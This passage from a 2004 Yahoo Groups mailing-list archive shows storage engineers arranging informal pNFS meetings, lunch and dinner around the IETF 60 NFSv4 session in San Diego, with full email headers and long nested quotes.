>staying the night is not a bad thing for most of us as the RDDP meeting >is likely to be first thing on Wed morning anyway. > >Would folks please speak up on this list if they are going to attend >this meeting. > >Thurs Sept 30, Pennsylvania: >- an informal face-to-face in the Pittsburgh area, at either CMU or >Nemacolin (for those who collaborate with or support CMU's PDL, this is >the day after the PDL retreat) >- this might be the last informal pNFS meeting done outside the NFSv4 >TWG schedule as we hope to soon convince the NFSv4 group to take us in > >week of Nov 8, IETF 61, Washington DC >- similar to the Aug 3 meeting, a meeting in the bar or in a restaurant >during the IETF meeting week > >garth > > >On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: > > > Folks, > > > > We've gotten behind on meeting plans. > > > > The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San Diego. > > See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt > > > > Hopefully pNFS will get some time on that agenda, but it will be a > > small amount at most. What I'd like to propose is that we meet f-2-f > > on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. > > I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel > > and Marina), so I'm also looking for proposals for where to hold the > > meeting. > > > > Since timing is tight on this, please reply soon. > > > > And while you are thinking about your schedule, lets talk about the > > meeting after. The next IETF is Nov 7-12 in Washington DC (which > > overlaps SC04 in Pittsburgh). Again we should target a piece of the > > not-very-long NFSv4 meeting and decide if we want to also have a f-2-f. > > > > I'm happy to propose a day long interim meeting at CMU in Pittsburgh in > > September, before the cut off dates to submit for the IETF meeting in > > Nov. > > > > Opinions? Date suggestions? Alternatives? > > > > garth > > > > > > > > > > > > Yahoo! Groups Links > > > > > > > > > > > > > >Yahoo! Groups Links > > > > Yahoo! Groups Links >From fan@rainfinity.com Thu Jul 22 11:22:22 2004 Return-Path: X-Sender: fan@rainfinity.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 19242 invoked from network); 22 Jul 2004 18:22:20 -0000 Received: from unknown (66.218.66.167) by m19.grp.scd.yahoo.com with QMQP; 22 Jul 2004 18:22:20 -0000 Received: from unknown (HELO mail1.rainfinity.com) (128.242.125.75) by mta6.grp.scd.yahoo.com with SMTP; 22 Jul 2004 18:22:20 -0000 Received: from localhost (localhost.rainfinity.com [127.0.0.1]) by mail1.rainfinity.com (Postfix) with ESMTP id 8911F1040DE; Thu, 22 Jul 2004 11:19:11 -0700 (PDT) Received: from mail1.rainfinity.com ([127.0.0.1]) by localhost (mail1.rainfinity.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 10781-11; Thu, 22 Jul 2004 11:19:10 -0700 (PDT) Received: from [192.168.0.47] (hq.rainfinity.com [128.242.125.65]) by mail1.rainfinity.com (Postfix) with ESMTP id 85F7D1040A1; Thu, 22 Jul 2004 11:19:10 -0700 (PDT) Message-ID: <4100051C.30906@rainfinity.com> Date: Thu, 22 Jul 2004 11:19:08 -0700 User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en-us, en MIME-Version: 1.0 To: pnfs-reqs@yahoogroups.com References: In-Reply-To: Content-Type: multipart/alternative; boundary=""------------060808000902090804050909"" X-Virus-Scanned: by amavisd-new at rainfinity.com X-eGroups-Remote-IP: 128.242.125.75 From: Chenggong Charles Fan Subject: Re: [pnfs-reqs] Re: planning future meetings X-Yahoo-Group-Post: member; u=37364696 X-Yahoo-Profile: fanrainfinity ADVERTISEMENT I'll join the Aug 3 meeting as well. Charles Corbett, Peter wrote: >I'll be there all day Tuesday, arriving Monday afternoon. >-----Original Message----- >From: Tyce McLarty [mailto:mclarty3@llnl.gov] Sent: Thursday, July 22, 2004 11:16 AM >To: pnfs-reqs@yahoogroups.com >Subject: Re: [pnfs-reqs] Re: planning future meetings >Bill Loewe & I will be there Tuesday for the pNFS meetings departing >Wed. AM. >Tyce >At 09:13 AM 7/8/2004, you wrote: > >>Here is what I think is on the table for comments/interest from this >>community: >>Tues Aug 3, IETF 60, San Diego: >>- IETF NFSv4 meeting is in the morning >>- in the afternoon, and evening if appropriate, interested and >>available pNFS participants gather in the hotel lobby bar. the goal is >>to get 4-6 hours of meeting time to justify those of us traveling to >>San Diego that will not otherwise attend the IETF meeting. we might try >>to arrange a room in a local chinese restaurant, for example, but we do >>not expect any meeting rooms will be available at the IETF hotel and we >>do not want to create an officially conflicting meeting. >>- IETF schedule is not final and may change as late as 2 weeks before >>the meeting, so people's Tues afternoon may change. this is in part >>why we are suggesting that the meeting may go into the evening. >>staying the night is not a bad thing for most of us as the RDDP meeting >>is likely to be first thing on Wed morning anyway. >>Would folks please speak up on this list if they are going to attend >>this meeting. >>Thurs Sept 30, Pennsylvania: >>- an informal face-to-face in the Pittsburgh area, at either CMU or >>Nemacolin (for those who collaborate with or support CMU's PDL, this is >>the day after the PDL retreat) >>- this might be the last informal pNFS meeting done outside the NFSv4 >>TWG schedule as we hope to soon convince the NFSv4 group to take us in >>week of Nov 8, IETF 61, Washington DC >>- similar to the Aug 3 meeting, a meeting in the bar or in a restaurant >>during the IETF meeting week >>garth >>On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: >> >>>Folks, >>>We've gotten behind on meeting plans. >>>The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San >>> >Diego. > >>>See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt >>>Hopefully pNFS will get some time on that agenda, but it will be a >>>small amount at most. What I'd like to propose is that we meet >>> >f-2-f > >>>on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San >>> >Diego. > >>>I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel >>>and Marina), so I'm also looking for proposals for where to hold the >>>meeting. >>>Since timing is tight on this, please reply soon. >>>And while you are thinking about your schedule, lets talk about the >>>meeting after. The next IETF is Nov 7-12 in Washington DC (which >>>overlaps SC04 in Pittsburgh). Again we should target a piece of the >>>not-very-long NFSv4 meeting and decide if we want to also have a >>> >f-2-f. > >>>I'm happy to propose a day long interim meeting at CMU in Pittsburgh >>> >in > >>>September, before the cut off dates to submit for the IETF meeting >>> >in > >>>Nov. >>>Opinions? Date suggestions? Alternatives? >>>garth >>>Yahoo! Groups Links >>> >>Yahoo! Groups Links >> > >Yahoo! Groups Links >------------------------ Yahoo! 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Groups is subject to: >http://docs.yahoo.com/info/terms/ > >From bwelch@panasas.com Thu Jul 29 19:22:57 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 26820 invoked from network); 30 Jul 2004 02:22:56 -0000 Received: from unknown (66.218.66.166) by m22.grp.scd.yahoo.com with QMQP; 30 Jul 2004 02:22:56 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.202) by mta5.grp.scd.yahoo.com with SMTP; 30 Jul 2004 02:22:55 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i6U2Msr27922 for ; Thu, 29 Jul 2004 19:22:54 -0700 Message-Id: <200407300222.i6U2Msr27922@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs X-Mailer: exmh version 2.7.1 07/28/2004 with nmh-1.0.4 To: pnfs-reqs@yahoogroups.com X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o From: Brent Welch Subject: pnfs ops, draft of June 8 X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 Here is an update to my ops draft based on the June 7 meeting. I apologize for not sending it out promptly, but here 'tis. I do not include the discussion of why things look as they do now, but you will notice a slimmer set of ops. Much slimmer. I could upload this to the yahoo groups web site, but most of you may find simple inline text easier to deal with :-) The ops boil down to: 7.1 LAYOUTGET - Get Layout Information 9 7.2 LAYOUTCOMMIT - Commit writes made using a layout 12 7.3 LAYOUTRETURN - Release Layout Information 14 8.1 CB_LAYOUTRECALL 14 Food for thought next Tuesday - see you then. If you have feedback before then, I'll have time Monday evening to go through this. -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com Attachment (not stored) pnfs_6_8.txt Type: text/plain >From garth@panasas.com Sun Aug 01 15:41:08 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 23287 invoked from network); 1 Aug 2004 22:41:07 -0000 Received: from unknown (66.218.66.167) by m16.grp.scd.yahoo.com with QMQP; 1 Aug 2004 22:41:07 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 1 Aug 2004 22:41:06 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56VJ01; Sun, 1 Aug 2004 18:41:05 -0400 Mime-Version: 1.0 (Apple Message framework v618) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: Spencer Shepler , Brian Pawlowski Date: Sun, 1 Aug 2004 15:40:55 -0700 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.618) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Aug 3 pNFS f-2-f reminder X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Folks, I've heard from about 11 people that intend to gather during the afternoon of Tues Aug 3 to discuss pNFS extensions to NFSv4. The nominal plan is to ""gather in the hotel lobby bar in the afternoon"". Maybe some details are needed? :-) The NFSv4 IETF meeting is Tues Aug 3 9-11:30 am in the Marina II meeting room of East Tower (first building on the only road into the ""Island"") of the Sheraton Harbor Island (www.ietf.org/meetings/hotels_60.html, ""across the street"" from the airport). Some of us will be in that meeting, but not all, and IETF registration onsite is over $600, so some pNFS attendees will probably not be registered. The hotel lobby bar is Quinn's -- it is behind reception on the right as you pass reception. It is not a big place, so depending on how many IETF attendees prefer a bar to a meeting room, we might have a problem. I thought we should at least have a good starting point, so I made a reservation for 10 people (oops, I'll have to fix that) at 1pm in the Harbor's Edge restaurant -- in the lobby of the East Tower behind reception on the left and a little around the corner. Perhaps we should start at noon, but I thought I'd leave a little time for the NFSv4 attendees to ""debrief"" after the NFSv4 meeting before starting this one. Hopefully enough of us can hold off eating lunch until 1pm so that the restaurant treats us nicely. Once we think we have exhausted our welcome there, we can drift over to Quinn's and drink ourselves into technical agreement on pNFS. Attendees I expect at this time: Tom Talpay, Peter Corbett, Dave Noveck, David Black, Julian Satran, Lee Ward, Tyce McLarty, Bill Loewe, Charles Fan, Brent Welch, Garth Gibson. Please let us know if you're coming and are not on this list. Thanks! garth Begin forwarded message: > From: Garth Gibson > Date: July 8, 2004 9:13:40 AM PDT > To: pnfs-reqs@yahoogroups.com > Subject: [pnfs-reqs] Re: planning future meetings > Reply-To: pnfs-reqs@yahoogroups.com > > Here is what I think is on the table for comments/interest from this > community: > > Tues Aug 3, IETF 60, San Diego: > - IETF NFSv4 meeting is in the morning > - in the afternoon, and evening if appropriate, interested and > available pNFS participants gather in the hotel lobby bar. the goal is > to get 4-6 hours of meeting time to justify those of us traveling to > San Diego that will not otherwise attend the IETF meeting. we might try > to arrange a room in a local chinese restaurant, for example, but we do > not expect any meeting rooms will be available at the IETF hotel and we > do not want to create an officially conflicting meeting. > - IETF schedule is not final and may change as late as 2 weeks before > the meeting, so people's Tues afternoon may change. this is in part > why we are suggesting that the meeting may go into the evening. > staying the night is not a bad thing for most of us as the RDDP meeting > is likely to be first thing on Wed morning anyway. > > Would folks please speak up on this list if they are going to attend > this meeting. > > Thurs Sept 30, Pennsylvania: > - an informal face-to-face in the Pittsburgh area, at either CMU or > Nemacolin (for those who collaborate with or support CMU's PDL, this is > the day after the PDL retreat) > - this might be the last informal pNFS meeting done outside the NFSv4 > TWG schedule as we hope to soon convince the NFSv4 group to take us in > > week of Nov 8, IETF 61, Washington DC > - similar to the Aug 3 meeting, a meeting in the bar or in a restaurant > during the IETF meeting week > > garth > > > On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: > >> Folks, >> >> We've gotten behind on meeting plans. >> >> The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San Diego. >> See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt >> >> Hopefully pNFS will get some time on that agenda, but it will be a >> small amount at most. What I'd like to propose is that we meet f-2-f >> on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. >> I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel >> and Marina), so I'm also looking for proposals for where to hold the >> meeting. >> >> Since timing is tight on this, please reply soon. >> >> And while you are thinking about your schedule, lets talk about the >> meeting after. The next IETF is Nov 7-12 in Washington DC (which >> overlaps SC04 in Pittsburgh). Again we should target a piece of the >> not-very-long NFSv4 meeting and decide if we want to also have a >> f-2-f. >> >> I'm happy to propose a day long interim meeting at CMU in Pittsburgh >> in >> September, before the cut off dates to submit for the IETF meeting in >> Nov. >> >> Opinions? Date suggestions? Alternatives? >> >> garth >> >> >> >> >> >> Yahoo! Groups Links >> >> >> >> > > > > > > Yahoo! Groups Links > > > > >From garth@panasas.com Sun Aug 01 16:59:19 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 81161 invoked from network); 1 Aug 2004 23:59:18 -0000 Received: from unknown (66.218.66.167) by m3.grp.scd.yahoo.com with QMQP; 1 Aug 2004 23:59:18 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 1 Aug 2004 23:59:18 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56VKAW; Sun, 1 Aug 2004 19:59:16 -0400 Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Date: Sun, 1 Aug 2004 16:59:12 -0700 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.618) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Aug 3 pNFS f-2-f reminder X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson I'm thinking I should book a dinner for us too. One recommendation was ""The Boathouse"", a one mile walk along the harbor from the East Tower, 'seafood and steak, $$$"". I like the idea of a 20 min walk after an afternoon in the bar. And the hotel shuttle will drive anyone who wants to skip the walk. Speak up if you'd like to encourage me to keep it in the one building (dinner back at the same place as lunch) or in the next tower (5 minute walk, ""mediterranean bistro, $$""). garth On Aug 1, 2004, at 3:40 PM, Garth Gibson wrote: > Folks, > > I've heard from about 11 people that intend to gather during the > afternoon of Tues Aug 3 to discuss pNFS extensions to NFSv4. The > nominal plan is to ""gather in the hotel lobby bar in the afternoon"". > Maybe some details are needed? :-) > > The NFSv4 IETF meeting is Tues Aug 3 9-11:30 am in the Marina II > meeting room of East Tower (first building on the only road into the > ""Island"") of the Sheraton Harbor Island > (www.ietf.org/meetings/hotels_60.html, ""across the street"" from the > airport). Some of us will be in that meeting, but not all, and IETF > registration onsite is over $600, so some pNFS attendees will probably > not be registered. > > The hotel lobby bar is Quinn's -- it is behind reception on the right > as you pass reception. It is not a big place, so depending on how many > IETF attendees prefer a bar to a meeting room, we might have a problem. > > I thought we should at least have a good starting point, so I made a > reservation for 10 people (oops, I'll have to fix that) at 1pm in the > Harbor's Edge restaurant -- in the lobby of the East Tower behind > reception on the left and a little around the corner. Perhaps we > should start at noon, but I thought I'd leave a little time for the > NFSv4 attendees to ""debrief"" after the NFSv4 meeting before starting > this one. > > Hopefully enough of us can hold off eating lunch until 1pm so that the > restaurant treats us nicely. Once we think we have exhausted our > welcome there, we can drift over to Quinn's and drink ourselves into > technical agreement on pNFS. > > Attendees I expect at this time: Tom Talpay, Peter Corbett, Dave > Noveck, David Black, Julian Satran, Lee Ward, Tyce McLarty, Bill Loewe, > Charles Fan, Brent Welch, Garth Gibson. > > Please let us know if you're coming and are not on this list. > > Thanks! > garth > > Begin forwarded message: > >> From: Garth Gibson >> Date: July 8, 2004 9:13:40 AM PDT >> To: pnfs-reqs@yahoogroups.com >> Subject: [pnfs-reqs] Re: planning future meetings >> Reply-To: pnfs-reqs@yahoogroups.com >> >> Here is what I think is on the table for comments/interest from this >> community: >> >> Tues Aug 3, IETF 60, San Diego: >> - IETF NFSv4 meeting is in the morning >> - in the afternoon, and evening if appropriate, interested and >> available pNFS participants gather in the hotel lobby bar. the goal >> is >> to get 4-6 hours of meeting time to justify those of us traveling to >> San Diego that will not otherwise attend the IETF meeting. we might >> try >> to arrange a room in a local chinese restaurant, for example, but we >> do >> not expect any meeting rooms will be available at the IETF hotel and >> we >> do not want to create an officially conflicting meeting. >> - IETF schedule is not final and may change as late as 2 weeks before >> the meeting, so people's Tues afternoon may change. this is in part >> why we are suggesting that the meeting may go into the evening. >> staying the night is not a bad thing for most of us as the RDDP >> meeting >> is likely to be first thing on Wed morning anyway. >> >> Would folks please speak up on this list if they are going to attend >> this meeting. >> >> Thurs Sept 30, Pennsylvania: >> - an informal face-to-face in the Pittsburgh area, at either CMU or >> Nemacolin (for those who collaborate with or support CMU's PDL, this >> is >> the day after the PDL retreat) >> - this might be the last informal pNFS meeting done outside the NFSv4 >> TWG schedule as we hope to soon convince the NFSv4 group to take us in >> >> week of Nov 8, IETF 61, Washington DC >> - similar to the Aug 3 meeting, a meeting in the bar or in a >> restaurant >> during the IETF meeting week >> >> garth >> >> >> On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: >> >>> Folks, >>> >>> We've gotten behind on meeting plans. >>> >>> The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San >>> Diego. >>> See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt >>> >>> Hopefully pNFS will get some time on that agenda, but it will be a >>> small amount at most. What I'd like to propose is that we meet f-2-f >>> on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. >>> I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel >>> and Marina), so I'm also looking for proposals for where to hold the >>> meeting. >>> >>> Since timing is tight on this, please reply soon. >>> >>> And while you are thinking about your schedule, lets talk about the >>> meeting after. The next IETF is Nov 7-12 in Washington DC (which >>> overlaps SC04 in Pittsburgh). Again we should target a piece of the >>> not-very-long NFSv4 meeting and decide if we want to also have a >>> f-2-f. >>> >>> I'm happy to propose a day long interim meeting at CMU in Pittsburgh >>> in >>> September, before the cut off dates to submit for the IETF meeting in >>> Nov. >>> >>> Opinions? Date suggestions? Alternatives? >>> >>> garth >>> >>> >>> >>> >>> >>> Yahoo! Groups Links >>> >>> >>> >>> >> >> >> >> >> >> Yahoo! Groups Links >> >> >> >> > > > > > > Yahoo! Groups Links > > > > >From Brian.Pawlowski@netapp.com Sun Aug 01 17:02:54 2004 Return-Path: X-Sender: beepy@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 34035 invoked from network); 2 Aug 2004 00:02:53 -0000 Received: from unknown (66.218.66.172) by m5.grp.scd.yahoo.com with QMQP; 2 Aug 2004 00:02:53 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 2 Aug 2004 00:02:53 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i7202pFC001794; Sun, 1 Aug 2004 17:02:51 -0700 (PDT) Received: from tooting.eng.netapp.com (tooting-fe.eng.netapp.com [10.56.10.118]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i7202pgC000817; Sun, 1 Aug 2004 17:02:51 -0700 (PDT) Received: (from beepy@localhost) by tooting.eng.netapp.com (8.11.7p1+Sun/8.11.6) id i7202oT16617; Sun, 1 Aug 2004 17:02:50 -0700 (PDT) Message-Id: <200408020002.i7202oT16617@tooting.eng.netapp.com> In-Reply-To: from Garth Gibson at ""Aug 1, 4 04:59:12 pm"" To: pnfs-reqs@yahoogroups.com Date: Sun, 1 Aug 2004 17:02:50 -0700 (PDT) Cc: trond.myklebust@fys.uio.no (Trond Myklebust) X-Mailer: ELM [version 2.4ME++ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: Brian Pawlowski From: Brian Pawlowski Subject: Re: [pnfs-reqs] Aug 3 pNFS f-2-f reminder X-Yahoo-Group-Post: member; u=169504717 X-Yahoo-Profile: brianpawlowski I believe a 20 minute walk is fine with us! Right Trond? > I'm thinking I should book a dinner for us too. One recommendation was > ""The Boathouse"", a one mile walk along the harbor from the East Tower, > 'seafood and steak, $$$"". I like the idea of a 20 min walk after an > afternoon in the bar. And the hotel shuttle will drive anyone who > wants to skip the walk. > > Speak up if you'd like to encourage me to keep it in the one building > (dinner back at the same place as lunch) or in the next tower (5 minute > walk, ""mediterranean bistro, $$""). > > garth > > On Aug 1, 2004, at 3:40 PM, Garth Gibson wrote: > > Folks, > > > > I've heard from about 11 people that intend to gather during the > > afternoon of Tues Aug 3 to discuss pNFS extensions to NFSv4. The > > nominal plan is to ""gather in the hotel lobby bar in the afternoon"". > > Maybe some details are needed? :-) > > > > The NFSv4 IETF meeting is Tues Aug 3 9-11:30 am in the Marina II > > meeting room of East Tower (first building on the only road into the > > ""Island"") of the Sheraton Harbor Island > > (www.ietf.org/meetings/hotels_60.html, ""across the street"" from the > > airport). Some of us will be in that meeting, but not all, and IETF > > registration onsite is over $600, so some pNFS attendees will probably > > not be registered. > > > > The hotel lobby bar is Quinn's -- it is behind reception on the right > > as you pass reception. It is not a big place, so depending on how many > > IETF attendees prefer a bar to a meeting room, we might have a problem. > > > > I thought we should at least have a good starting point, so I made a > > reservation for 10 people (oops, I'll have to fix that) at 1pm in the > > Harbor's Edge restaurant -- in the lobby of the East Tower behind > > reception on the left and a little around the corner. Perhaps we > > should start at noon, but I thought I'd leave a little time for the > > NFSv4 attendees to ""debrief"" after the NFSv4 meeting before starting > > this one. > > > > Hopefully enough of us can hold off eating lunch until 1pm so that the > > restaurant treats us nicely. Once we think we have exhausted our > > welcome there, we can drift over to Quinn's and drink ourselves into > > technical agreement on pNFS. > > > > Attendees I expect at this time: Tom Talpay, Peter Corbett, Dave > > Noveck, David Black, Julian Satran, Lee Ward, Tyce McLarty, Bill Loewe, > > Charles Fan, Brent Welch, Garth Gibson. > > > > Please let us know if you're coming and are not on this list. > > > > Thanks! > > garth > > > > Begin forwarded message: > > > >> From: Garth Gibson > >> Date: July 8, 2004 9:13:40 AM PDT > >> To: pnfs-reqs@yahoogroups.com > >> Subject: [pnfs-reqs] Re: planning future meetings > >> Reply-To: pnfs-reqs@yahoogroups.com > >> > >> Here is what I think is on the table for comments/interest from this > >> community: > >> > >> Tues Aug 3, IETF 60, San Diego: > >> - IETF NFSv4 meeting is in the morning > >> - in the afternoon, and evening if appropriate, interested and > >> available pNFS participants gather in the hotel lobby bar. the goal > >> is > >> to get 4-6 hours of meeting time to justify those of us traveling to > >> San Diego that will not otherwise attend the IETF meeting. we might > >> try > >> to arrange a room in a local chinese restaurant, for example, but we > >> do > >> not expect any meeting rooms will be available at the IETF hotel and > >> we > >> do not want to create an officially conflicting meeting. > >> - IETF schedule is not final and may change as late as 2 weeks before > >> the meeting, so people's Tues afternoon may change. this is in part > >> why we are suggesting that the meeting may go into the evening. > >> staying the night is not a bad thing for most of us as the RDDP > >> meeting > >> is likely to be first thing on Wed morning anyway. > >> > >> Would folks please speak up on this list if they are going to attend > >> this meeting. > >> > >> Thurs Sept 30, Pennsylvania: > >> - an informal face-to-face in the Pittsburgh area, at either CMU or > >> Nemacolin (for those who collaborate with or support CMU's PDL, this > >> is > >> the day after the PDL retreat) > >> - this might be the last informal pNFS meeting done outside the NFSv4 > >> TWG schedule as we hope to soon convince the NFSv4 group to take us in > >> > >> week of Nov 8, IETF 61, Washington DC > >> - similar to the Aug 3 meeting, a meeting in the bar or in a > >> restaurant > >> during the IETF meeting week > >> > >> garth > >> > >> > >> On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: > >> > >>> Folks, > >>> > >>> We've gotten behind on meeting plans. > >>> > >>> The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San > >>> Diego. > >>> See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt > >>> > >>> Hopefully pNFS will get some time on that agenda, but it will be a > >>> small amount at most. What I'd like to propose is that we meet f-2-f > >>> on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. > >>> I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel > >>> and Marina), so I'm also looking for proposals for where to hold the > >>> meeting. > >>> > >>> Since timing is tight on this, please reply soon. > >>> > >>> And while you are thinking about your schedule, lets talk about the > >>> meeting after. The next IETF is Nov 7-12 in Washington DC (which > >>> overlaps SC04 in Pittsburgh). Again we should target a piece of the > >>> not-very-long NFSv4 meeting and decide if we want to also have a > >>> f-2-f. > >>> > >>> I'm happy to propose a day long interim meeting at CMU in Pittsburgh > >>> in > >>> September, before the cut off dates to submit for the IETF meeting in > >>> Nov. > >>> > >>> Opinions? Date suggestions? Alternatives? > >>> > >>> garth > >>> > >>> > >>> > >>> > >>> > >>> Yahoo! Groups Links > >>> > >>> > >>> > >>> > >> > >> > >> > >> > >> > >> Yahoo! Groups Links > >> > >> > >> > >> > > > > > > > > > > > > Yahoo! Groups Links > > > > > > > > > > > > > > Yahoo! Groups Links > > > > > >From trond.myklebust@fys.uio.no Sun Aug 01 17:07:12 2004 Return-Path: X-Sender: trondmy@trondhjem.org X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 31342 invoked from network); 2 Aug 2004 00:07:12 -0000 Received: from unknown (66.218.66.172) by m16.grp.scd.yahoo.com with QMQP; 2 Aug 2004 00:07:12 -0000 Received: from unknown (HELO lade.trondhjem.org) (207.214.87.84) by mta4.grp.scd.yahoo.com with SMTP; 2 Aug 2004 00:07:02 -0000 Received: from trondmy by lade.trondhjem.org with local (Exim 4.34) id 1BrQLw-0001V6-Tx; Sun, 01 Aug 2004 17:06:57 -0700 To: Brian Pawlowski Cc: pnfs-reqs@yahoogroups.com In-Reply-To: <200408020002.i7202oT16617@tooting.eng.netapp.com> References: <200408020002.i7202oT16617@tooting.eng.netapp.com> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Message-Id: <1091405216.4730.4.camel@lade.trondhjem.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Sun, 01 Aug 2004 17:06:56 -0700 Sender: Trond Myklebust X-eGroups-Remote-IP: 207.214.87.84 From: Trond Myklebust Subject: Re: [pnfs-reqs] Aug 3 pNFS f-2-f reminder X-Yahoo-Group-Post: member; u=194000208 X-Yahoo-Profile: trondmy ADVERTISEMENT click here P� su , 01/08/2004 klokka 17:02, skreiv Brian Pawlowski: > I believe a 20 minute walk is fine with us! > > Right Trond? Afternoon in bar + walk + food is a winning combination as far as I'm concerned... Trond > > I'm thinking I should book a dinner for us too. One recommendation was > > ""The Boathouse"", a one mile walk along the harbor from the East Tower, > > 'seafood and steak, $$$"". I like the idea of a 20 min walk after an > > afternoon in the bar. And the hotel shuttle will drive anyone who > > wants to skip the walk. > > > > Speak up if you'd like to encourage me to keep it in the one building > > (dinner back at the same place as lunch) or in the next tower (5 minute > > walk, ""mediterranean bistro, $$""). > > > > garth > > > > On Aug 1, 2004, at 3:40 PM, Garth Gibson wrote: > > > Folks, > > > > > > I've heard from about 11 people that intend to gather during the > > > afternoon of Tues Aug 3 to discuss pNFS extensions to NFSv4. The > > > nominal plan is to ""gather in the hotel lobby bar in the afternoon"". > > > Maybe some details are needed? :-) > > > > > > The NFSv4 IETF meeting is Tues Aug 3 9-11:30 am in the Marina II > > > meeting room of East Tower (first building on the only road into the > > > ""Island"") of the Sheraton Harbor Island > > > (www.ietf.org/meetings/hotels_60.html, ""across the street"" from the > > > airport). Some of us will be in that meeting, but not all, and IETF > > > registration onsite is over $600, so some pNFS attendees will probably > > > not be registered. > > > > > > The hotel lobby bar is Quinn's -- it is behind reception on the right > > > as you pass reception. It is not a big place, so depending on how many > > > IETF attendees prefer a bar to a meeting room, we might have a problem. > > > > > > I thought we should at least have a good starting point, so I made a > > > reservation for 10 people (oops, I'll have to fix that) at 1pm in the > > > Harbor's Edge restaurant -- in the lobby of the East Tower behind > > > reception on the left and a little around the corner. Perhaps we > > > should start at noon, but I thought I'd leave a little time for the > > > NFSv4 attendees to ""debrief"" after the NFSv4 meeting before starting > > > this one. > > > > > > Hopefully enough of us can hold off eating lunch until 1pm so that the > > > restaurant treats us nicely. Once we think we have exhausted our > > > welcome there, we can drift over to Quinn's and drink ourselves into > > > technical agreement on pNFS. > > > > > > Attendees I expect at this time: Tom Talpay, Peter Corbett, Dave > > > Noveck, David Black, Julian Satran, Lee Ward, Tyce McLarty, Bill Loewe, > > > Charles Fan, Brent Welch, Garth Gibson. > > > > > > Please let us know if you're coming and are not on this list. > > > > > > Thanks! > > > garth > > > > > > Begin forwarded message: > > > > > >> From: Garth Gibson > > >> Date: July 8, 2004 9:13:40 AM PDT > > >> To: pnfs-reqs@yahoogroups.com > > >> Subject: [pnfs-reqs] Re: planning future meetings > > >> Reply-To: pnfs-reqs@yahoogroups.com > > >> > > >> Here is what I think is on the table for comments/interest from this > > >> community: > > >> > > >> Tues Aug 3, IETF 60, San 